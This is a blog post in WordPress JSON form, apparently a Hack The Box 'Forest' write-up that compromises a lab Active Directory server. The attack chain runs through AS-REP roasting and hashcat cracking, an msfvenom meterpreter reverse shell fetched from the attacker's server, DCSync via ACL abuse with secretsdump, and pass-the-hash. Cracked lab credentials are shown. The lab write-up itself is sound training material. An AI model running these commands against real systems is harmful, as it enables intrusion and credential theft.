{"id":97,"date":"2026-01-20T22:43:22","date_gmt":"2026-01-20T22:43:22","guid":{"rendered":"https:\/\/patatties.nl\/?p=97"},"modified":"2026-01-21T21:14:47","modified_gmt":"2026-01-21T21:14:47","slug":"htb-forest","status":"publish","type":"post","link":"https:\/\/patatties.nl\/?p=97","title":{"rendered":"HTB: Forest"},"content":{"rendered":"\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n

A windows machine named forest. Must be an Active Directory server!<\/p>\n\n\n\n

Lets start with ping and nmap to see what we’ve got!<\/p>\n\n\n\n

\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali]\n\u2514\u2500# ping 10.129.95.210\nPING 10.129.95.210 (10.129.95.210) 56(84) bytes of data.\n64 bytes from 10.129.95.210: icmp_seq=1 ttl=127 time=5.28 ms\n^C\n--- 10.129.95.210 ping statistics ---\n1 packets transmitted, 1 received, 0% packet loss, time 0ms\nrtt min\/avg\/max\/mdev = 5.279\/5.279\/5.279\/0.000 ms\n                                                                                           \n\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali]\n\u2514\u2500# nmap -sV -sC -p- 10.129.95.210\nStarting Nmap 7.98 ( https:\/\/nmap.org ) at 2026-01-20 12:48 -0500\nNmap scan report for 10.129.95.210\nHost is up (0.0050s latency).\nNot shown: 65512 closed tcp ports (reset)\nPORT      STATE SERVICE      VERSION\n53\/tcp    open  domain       Simple DNS Plus\n88\/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-20 17:55:55Z)\n135\/tcp   open  msrpc        Microsoft Windows RPC\n139\/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn\n389\/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)\n445\/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)\n464\/tcp   open  kpasswd5?\n593\/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0\n636\/tcp   open  tcpwrapped\n3268\/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)\n3269\/tcp  open  tcpwrapped\n5985\/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n|_http-title: Not Found\n9389\/tcp  open  mc-nmf       .NET Message Framing\n47001\/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n|_http-title: Not Found\n49664\/tcp open  msrpc        Microsoft Windows RPC\n49665\/tcp open  msrpc        Microsoft Windows RPC\n49666\/tcp open  msrpc        Microsoft Windows RPC\n49667\/tcp open  msrpc        Microsoft Windows RPC\n49671\/tcp open  msrpc        Microsoft Windows RPC\n49680\/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0\n49681\/tcp open  msrpc        Microsoft Windows RPC\n49685\/tcp open  msrpc        Microsoft Windows RPC\n49700\/tcp open  msrpc        Microsoft Windows RPC\nService Info: Host: FOREST; OS: Windows; CPE: cpe:\/o:microsoft:windows\n\nHost script results:\n| smb2-security-mode: \n|   3.1.1: \n|_    Message signing enabled and required\n| smb-security-mode: \n|   account_used: guest\n|   authentication_level: user\n|   challenge_response: supported\n|_  message_signing: required\n| smb-os-discovery: \n|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)\n|   Computer name: FOREST\n|   NetBIOS computer name: FOREST\\x00\n|   Domain name: htb.local\n|   Forest name: htb.local\n|   FQDN: FOREST.htb.local\n|_  System time: 2026-01-20T09:56:45-08:00\n| smb2-time: \n|   date: 2026-01-20T17:56:47\n|_  start_date: 2026-01-20T17:53:09\n|_clock-skew: mean: 2h46m49s, deviation: 4h37m09s, median: 6m48s\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 80.99 seconds<\/code><\/pre>\n\n\n\n
This tells us a lot allready, like the domain name, the hostname. Its what you might expect given the name of the box.<\/p>\n\n\n\n
SMBmap doesnt seem to get any anonymous access though.<\/p>\n\n\n\n
Using enum4linux i was able to enumerate usernames<\/p>\n\n\n\n
enum4linux -U 10.129.95.210<\/p>\n\n\n\n
user:[Administrator] rid:[0x1f4]\nuser:[Guest] rid:[0x1f5]\nuser:[krbtgt] rid:[0x1f6]\nuser:[DefaultAccount] rid:[0x1f7]\nuser:[$331000-VK4ADACQNUCA] rid:[0x463]\nuser:[SM_2c8eef0a09b545acb] rid:[0x464]\nuser:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]\nuser:[SM_75a538d3025e4db9a] rid:[0x466]\nuser:[SM_681f53d4942840e18] rid:[0x467]\nuser:[SM_1b41c9286325456bb] rid:[0x468]\nuser:[SM_9b69f1b9d2cc45549] rid:[0x469]\nuser:[SM_7c96b981967141ebb] rid:[0x46a]\nuser:[SM_c75ee099d0a64c91b] rid:[0x46b]\nuser:[SM_1ffab36a2f5f479cb] rid:[0x46c]\nuser:[HealthMailboxc3d7722] rid:[0x46e]\nuser:[HealthMailboxfc9daad] rid:[0x46f]\nuser:[HealthMailboxc0a90c9] rid:[0x470]\nuser:[HealthMailbox670628e] rid:[0x471]\nuser:[HealthMailbox968e74d] rid:[0x472]\nuser:[HealthMailbox6ded678] rid:[0x473]\nuser:[HealthMailbox83d6781] rid:[0x474]\nuser:[HealthMailboxfd87238] rid:[0x475]\nuser:[HealthMailboxb01ac64] rid:[0x476]\nuser:[HealthMailbox7108a4e] rid:[0x477]\nuser:[HealthMailbox0659cc1] rid:[0x478]\nuser:[sebastien] rid:[0x479]\nuser:[lucinda] rid:[0x47a]\nuser:[svc-alfresco] rid:[0x47b]\nuser:[andy] rid:[0x47e]\nuser:[mark] rid:[0x47f]\nuser:[santi] rid:[0x480]\n<\/code><\/pre>\n\n\n\n
Lets put those in a list, using nane, find and replace to remove user:[ with nothing, and regex ].* with nothing.<\/p>\n\n\n\n
Next up, lets see if any of these accounts are ASREPROASTable. This means that you can trigger kerberos to send you a message encrypted with the users password. Knowing the message (i believe its te timestamp) you can brute force the password untill you reach the same encrypted message.<\/p>\n\n\n\n
Impacket has a module that you can feed all these usernames, together with the domain name and ip, to see if these accounts have this activated<\/p>\n\n\n\n
impacket-GetNPUsers -no-pass -usersfile users.txt -dc-ip 10.129.95.210 htb.local\/<\/code><\/pre>\n\n\n\n
And result!<\/p>\n\n\n\n
$krb5asrep$23$svc-alfresco@HTB.LOCAL:747eab7d30f4003364d1eb3d0465e9ac$0cfdc192855a388e4376ae032e7758a66cb7b29e3d758a902c45ece898db4a777a030e26163be3a59c01f982c84bde09eb628cebc49c3a316761786fe55ee6360093d7fef32486210db7dfcd5273e9d9ddfb70cc3bcd3e3f92cd657460dd7b48a778b425b0295053ac6fc2a96de2834b453d020014fc5c39aef55484038bcbeb33d2fcbc586502206483a64ebc9f7a924df6edeb1b3efcb6605085b6fa5c0d84da038c0c252350e3282689bb5a093e261e96fa13c6945dd8a834c7383c95f8ad570ecd3d7ff96f962164a4cf125b22a90cdc90fc716c6ebd219ddae0d895f1e6684aed31db40<\/code><\/pre>\n\n\n\n
There we have the password for svc-alfresco! Its just still hashed\/encrypted.<\/p>\n\n\n\n
Lets pass that over to my main cracking machine (which is my game-pc). Sometimes cracking these passwords go by GPU which is really fast indeed.<\/p>\n\n\n\n
lets first see what mode well need to crack
https:\/\/gist.github.com\/CalfCrusher\/6b87a738d0fe7b88e04f4a36eb6d722d<\/a><\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
It seems to be 7500 we’ll need. But hashcat seems to identify this now itself!<\/p>\n\n\n\n
.\\hashcat.exe hash.txt .\\rockyou.txt<\/code><\/pre>\n\n\n\n
And within 1 second and at the speed of almost 10 million passwords a second we instantly crack the password<\/p>\n\n\n\n
Dictionary cache built:\n* Filename..: .\\rockyou.txt\n* Passwords.: 14344391\n* Bytes.....: 139921497\n* Keyspace..: 14344384\n* Runtime...: 0 secs\n\n$krb5asrep$23$svc-alfresco@HTB.LOCAL:747eab7d30f4003364d1eb3d0465e9ac$0cfdc192855a388e4376ae032e7758a66cb7b29e3d758a902c45ece898db4a777a030e26163be3a59c01f982c84bde09eb628cebc49c3a316761786fe55ee6360093d7fef32486210db7dfcd5273e9d9ddfb70cc3bcd3e3f92cd657460dd7b48a778b425b0295053ac6fc2a96de2834b453d020014fc5c39aef55484038bcbeb33d2fcbc586502206483a64ebc9f7a924df6edeb1b3efcb6605085b6fa5c0d84da038c0c252350e3282689bb5a093e261e96fa13c6945dd8a834c7383c95f8ad570ecd3d7ff96f962164a4cf125b22a90cdc90fc716c6ebd219ddae0d895f1e6684aed31db40:s3rvice\n\nSession..........: hashcat\nStatus...........: Cracked\nHash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)\nHash.Target......: $krb5asrep$23$svc-alfresco@HTB.LOCAL:747eab7d30f400...31db40\nTime.Started.....: Tue Jan 20 19:32:00 2026 (0 secs)\nTime.Estimated...: Tue Jan 20 19:32:00 2026 (0 secs)\nKernel.Feature...: Pure Kernel (password length 0-256 bytes)\nGuess.Base.......: File (.\\rockyou.txt)\nGuess.Queue......: 1\/1 (100.00%)\nSpeed.#01........:  8670.2 kH\/s (5.75ms) @ Accel:256 Loops:1 Thr:32 Vec:1\nSpeed.#02........:  1312.6 kH\/s (11.95ms) @ Accel:117 Loops:1 Thr:32 Vec:1\nSpeed.#*.........:  9982.8 kH\/s\nRecovered........: 1\/1 (100.00%) Digests (total), 1\/1 (100.00%) Digests (new)\nProgress.........: 4334592\/14344384 (30.22%)\nRejected.........: 0\/4334592 (0.00%)\nRestore.Point....: 3592192\/14344384 (25.04%)\nRestore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1\nRestore.Sub.#02..: Salt:0 Amplifier:0-1 Iteration:0-1\nCandidate.Engine.: Device Generator\nCandidates.#01...: skretas -> red23913\nCandidates.#02...: red2388 -> ravery75\nHardware.Mon.#01.: Temp: 36c Fan:  0% Util: 99% Core: 540MHz Mem: 405MHz Bus:16\nHardware.Mon.#02.: N\/A<\/code><\/pre>\n\n\n\n
So: svc-alfresco:s3rvice<\/strong><\/p>\n\n\n\n
1st credential obtained!<\/p>\n\n\n\n
\n\n\n\n
lets retry some steps. See if we have some SMB access.<\/p>\n\n\n\n
pretty standard right off the bat.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Lets enumerate quickly.<\/p>\n\n\n\n
IPC$ and NETLOGON seem empty, but in SYSVOL we can see some things. Thinking back to the active.htb box i did not long a go, i wonder if we also get a kerberos account here.<\/p>\n\n\n\n
after browsing and looking trough some file, no extra creds or anything.<\/p>\n\n\n\n
Lets see if we have more users we can pinch. Now that we have one working credential, lets see if there are kerberoastable accounts.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
no luck.<\/p>\n\n\n\n
I believe i saw the winrm port open. Lets see if we cant connect with the account we have.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We can! And we have access to the user flag.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Now we just need to escalate our privileges.<\/p>\n\n\n\n
\n\n\n\n
now there’s two things i would like to try. Meterpreter exploit suggester and bloodhound.<\/p>\n\n\n\n
First we created a meterpreter executable to run on the system.<\/p>\n\n\n\n
\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/htb\/forest]\n\u2514\u2500# msfvenom -p windows\/meterpreter\/reverse_tcp lhost=10.10.15.104 lport=4444 -f exe > shell.exe\n\n\u2500\u2500(root\u327fkali)-[\/home\/kali\/htb\/forest]\n\u2514\u2500# python3 -m http.server                                                                         \nServing HTTP on 0.0.0.0 port 8000 (http:\/\/0.0.0.0:8000\/) ...\n10.129.95.210 - - [20\/Jan\/2026 14:15:45] \"GET \/shell.exe HTTP\/1.1\" 200 -\n\nmsf exploit(multi\/handler) > set lhost 0.0.0.0\nlhost => 0.0.0.0\nmsf exploit(multi\/handler) > run\n[*] Started reverse TCP handler on 0.0.0.0:4444 \n\n================= on the target ===================\n\nEvil-WinRM<\/em> PS C:\\Users\\svc-alfresco\\Desktop> invoke-webrequest -Uri http:\/\/10.10.15.104:8000\/shell.exe -UseBasicParsing -outfile shell.exe\n\n*Evil-WinRM* PS C:\\Users\\svc-alfresco\\Desktop> .\/shell.exe\n<\/code><\/pre>\n\n\n\n
And we get our meterpreter set up:<\/p>\n\n\n\n
[*] Sending stage (188998 bytes) to 10.129.95.210\n[*] Meterpreter session 1 opened (10.10.15.104:4444 -> 10.129.95.210:59201) at 2026-01-20 14:23:00 -0500\n\nmeterpreter > bg\n[*] Backgrounding session 1...\nmsf exploit(multi\/handler) > <\/code><\/pre>\n\n\n\n
We background it so we can run the post exploitation scripts on it.<\/p>\n\n\n\n
msf exploit(multi\/handler) > use post\/multi\/recon\/local_exploit_suggester\nmsf post(multi\/recon\/local_exploit_suggester) > show options\n\nModule options (post\/multi\/recon\/local_exploit_suggester):\n\n   Name             Current Setting  Required  Description\n   ----             ---------------  --------  -----------\n   SESSION                           yes       The session to run this module on\n   SHOWDESCRIPTION  false            yes       Displays a detailed description for\n                                                the available exploits\n\n\nView the full module info with the info, or info -d command.\n\nmsf post(multi\/recon\/local_exploit_suggester) > set session 1\nsession => 1\nmsf post(multi\/recon\/local_exploit_suggester) > run\n[*] 10.129.95.210 - Collecting local exploits for x86\/windows...\n\/usr\/share\/metasploit-framework\/lib\/rex\/proto\/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid\n\/usr\/share\/metasploit-framework\/vendor\/bundle\/ruby\/3.3.0\/gems\/net-ldap-0.20.0\/lib\/net\/ldap.rb:344: warning: previous definition of WhoamiOid was here\n[*] 10.129.95.210 - 229 exploit checks are being tried...\n[+] 10.129.95.210 - exploit\/windows\/local\/bypassuac_comhijack: The target appears to be vulnerable.\n[+] 10.129.95.210 - exploit\/windows\/local\/bypassuac_eventvwr: The target appears to be vulnerable.\n[+] 10.129.95.210 - exploit\/windows\/local\/bypassuac_sluihijack: The target appears to be vulnerable.\n[+] 10.129.95.210 - exploit\/windows\/local\/cve_2020_0787_bits_arbitrary_file_move: The target appears to be vulnerable. Vulnerable Windows 10 v1607 build detected!\n[+] 10.129.95.210 - exploit\/windows\/local\/cve_2020_1048_printerdemon: The target appears to be vulnerable.\n[+] 10.129.95.210 - exploit\/windows\/local\/cve_2020_1337_printerdemon: The target appears to be vulnerable.\n[+] 10.129.95.210 - exploit\/windows\/local\/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.\n[+] 10.129.95.210 - exploit\/windows\/local\/tokenmagic: The target appears to be vulnerable.\n[*] Running check method for exploit 43 \/ 43\n[*] 10.129.95.210 - Valid modules for session 1:\n============================\n\n #   Name                                                           Potentially Vulnerable?  Check Result\n -   ----                                                           -----------------------  ------------\n 1   exploit\/windows\/local\/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.\n 2   exploit\/windows\/local\/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.\n 3   exploit\/windows\/local\/bypassuac_sluihijack                     Yes                      The target appears to be vulnerable.\n 4   exploit\/windows\/local\/cve_2020_0787_bits_arbitrary_file_move   Yes                      The target appears to be vulnerable. Vulnerable Windows 10 v1607 build detected!\n 5   exploit\/windows\/local\/cve_2020_1048_printerdemon               Yes                      The target appears to be vulnerable.\n 6   exploit\/windows\/local\/cve_2020_1337_printerdemon               Yes                      The target appears to be vulnerable.\n 7   exploit\/windows\/local\/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.\n 8   exploit\/windows\/local\/tokenmagic                               Yes                      The target appears to be vulnerable.<\/code><\/pre>\n\n\n\n
Now we have a couple of options here. Lets test some out.<\/p>\n\n\n\n
And this is the easy thing about metasploit. It makes exploitation trivial. We just run alle the exploits one by one, see if we gat more ptivileges! Its kinda crazy!<\/p>\n\n\n\n
Two exploits seemed to work, but sadly, no shell. This makes me think that this isn’t the intended approach.<\/p>\n\n\n\n
Lets try the bloodhound route. First ,we need to get sharphound either connected to the host. I know of only one way to run sharphound, and that’s from windows. <\/p>\n\n\n\n
https:\/\/github.com\/SpecterOps\/SharpHound\/releases<\/a><\/p>\n\n\n\n
\n\n\n\n
I have a windows vm preconfigured with my .ovpn.<\/p>\n\n\n\n
So i switched the VPN off of my Kali, and onto my windows machine. <\/p>\n\n\n\n
\n\n\n\n
GOOD LORD! Did i have a hard time running the sharphound scan, and running the bloodhound instance! I managed to make a docker-compose.yml, and did the scan from my linux machine using bloodhound-python.<\/p>\n\n\n\n
Read here how i did it: https:\/\/patatties.nl\/?page_id=107<\/a><\/p>\n\n\n\n
\n\n\n\n
Now what do i like about bloodhound? You can see different links from the place where you are now in the domain, and the place you want to go.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
The nodes are entities in the AD, and the arrows show what relation they have en are called edges Sometimes its just being a member of a group, sometime it can write the ACL. You can also select an entity or edge and see all kinds of information about the it.<\/p>\n\n\n\n
Selecting GenericAll for example gives you information on what role it might play in an abuse scenario.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Allright. So if i see this right, we should have access, to make ourselves members of the Exchange Windows Permissions group, which in turn should be able to dcsync the domaincontroller.<\/p>\n\n\n\n
First we add ourselves to the group.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Now we should be able to activate our dcsync rights. We can use bloodyAD for this.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Now we should be able to dump the users and their hashes<\/p>\n\n\n\n
And here we go!<\/p>\n\n\n\n
impacket-secretsdump -just-dc-ntlm 'htb.local'\/'svc-alfresco':'s3rvice'@'10.129.95.210'<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We have the hashes! I passed them to my hashcat instance, but that only cracked 3 passwords.<\/p>\n\n\n\n
.\\hashcat.exe -m 1000 .\\hash.txt .\\rockyou.txt -r .\\rules\\dive.rule<\/code><\/pre>\n\n\n\n
31d6cfe0d16ae931b73c59d7e0c089c0:
9248997e4ef68ca2bb47ae4e6f128668:s3rvice
483d4c70248510d8e0acb6066cd89072:plokmijnuhb<\/p>\n\n\n\n
empty <\/em><\/p>\n\n\n\n
s3rvice, which we allready know for svc-alfresco.<\/p>\n\n\n\n
plokmijnuhb, for account: Santi.<\/p>\n\n\n\n
A quick look in bloodhound seems to suggest that Santi isn’t interesting.<\/p>\n\n\n\n
\n\n\n\n
Before diving into the Santi account, lets see if we can’t pass the hash for administrator. Which effectively authenticates me as that account. We can use Evil-WinRM for that aswell, but instead of using <\/p>\n\n\n\n
-p password<\/code><\/pre>\n\n\n\n
we use<\/p>\n\n\n\n
-H hash<\/code><\/pre>\n\n\n\n
And we’re in!<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
And we have access to the root flag!<\/p>\n\n\n\n
\n\n\n\n
Conclusion<\/h2>\n\n\n\n
I liked this box! A lot of AD enumeration which was great. In the end, it was quite short, but i spent a lot of time getting friggin bloodhound to run reliably, get mimikatz to run well, etc. That was kinda hard. But i have the tool setup now in my own lab!<\/p>\n\n\n\n
Great box! I hope there’ll be a load more like this. Good preparation foor OSCP exam i suspect!<\/p>\n","protected":false},"excerpt":{"rendered":"
A windows machine named forest. Must be an Active Directory server! Lets start with ping and nmap to see what we’ve got! This tells us a lot allready, like the domain name, the hostname. Its what you might expect given the name of the box. SMBmap doesnt seem to get any anonymous access though. Using […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-97","post","type-post","status-publish","format-standard","hentry","category-htb"],"_links":{"self":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/97","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=97"}],"version-history":[{"count":5,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/97\/revisions"}],"predecessor-version":[{"id":121,"href":"https:\/\/patatties.nl\/index.php?rest_route=\/wp\/v2\/posts\/97\/revisions\/121"}],"wp:attachment":[{"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=97"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=97"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/patatties.nl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=97"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}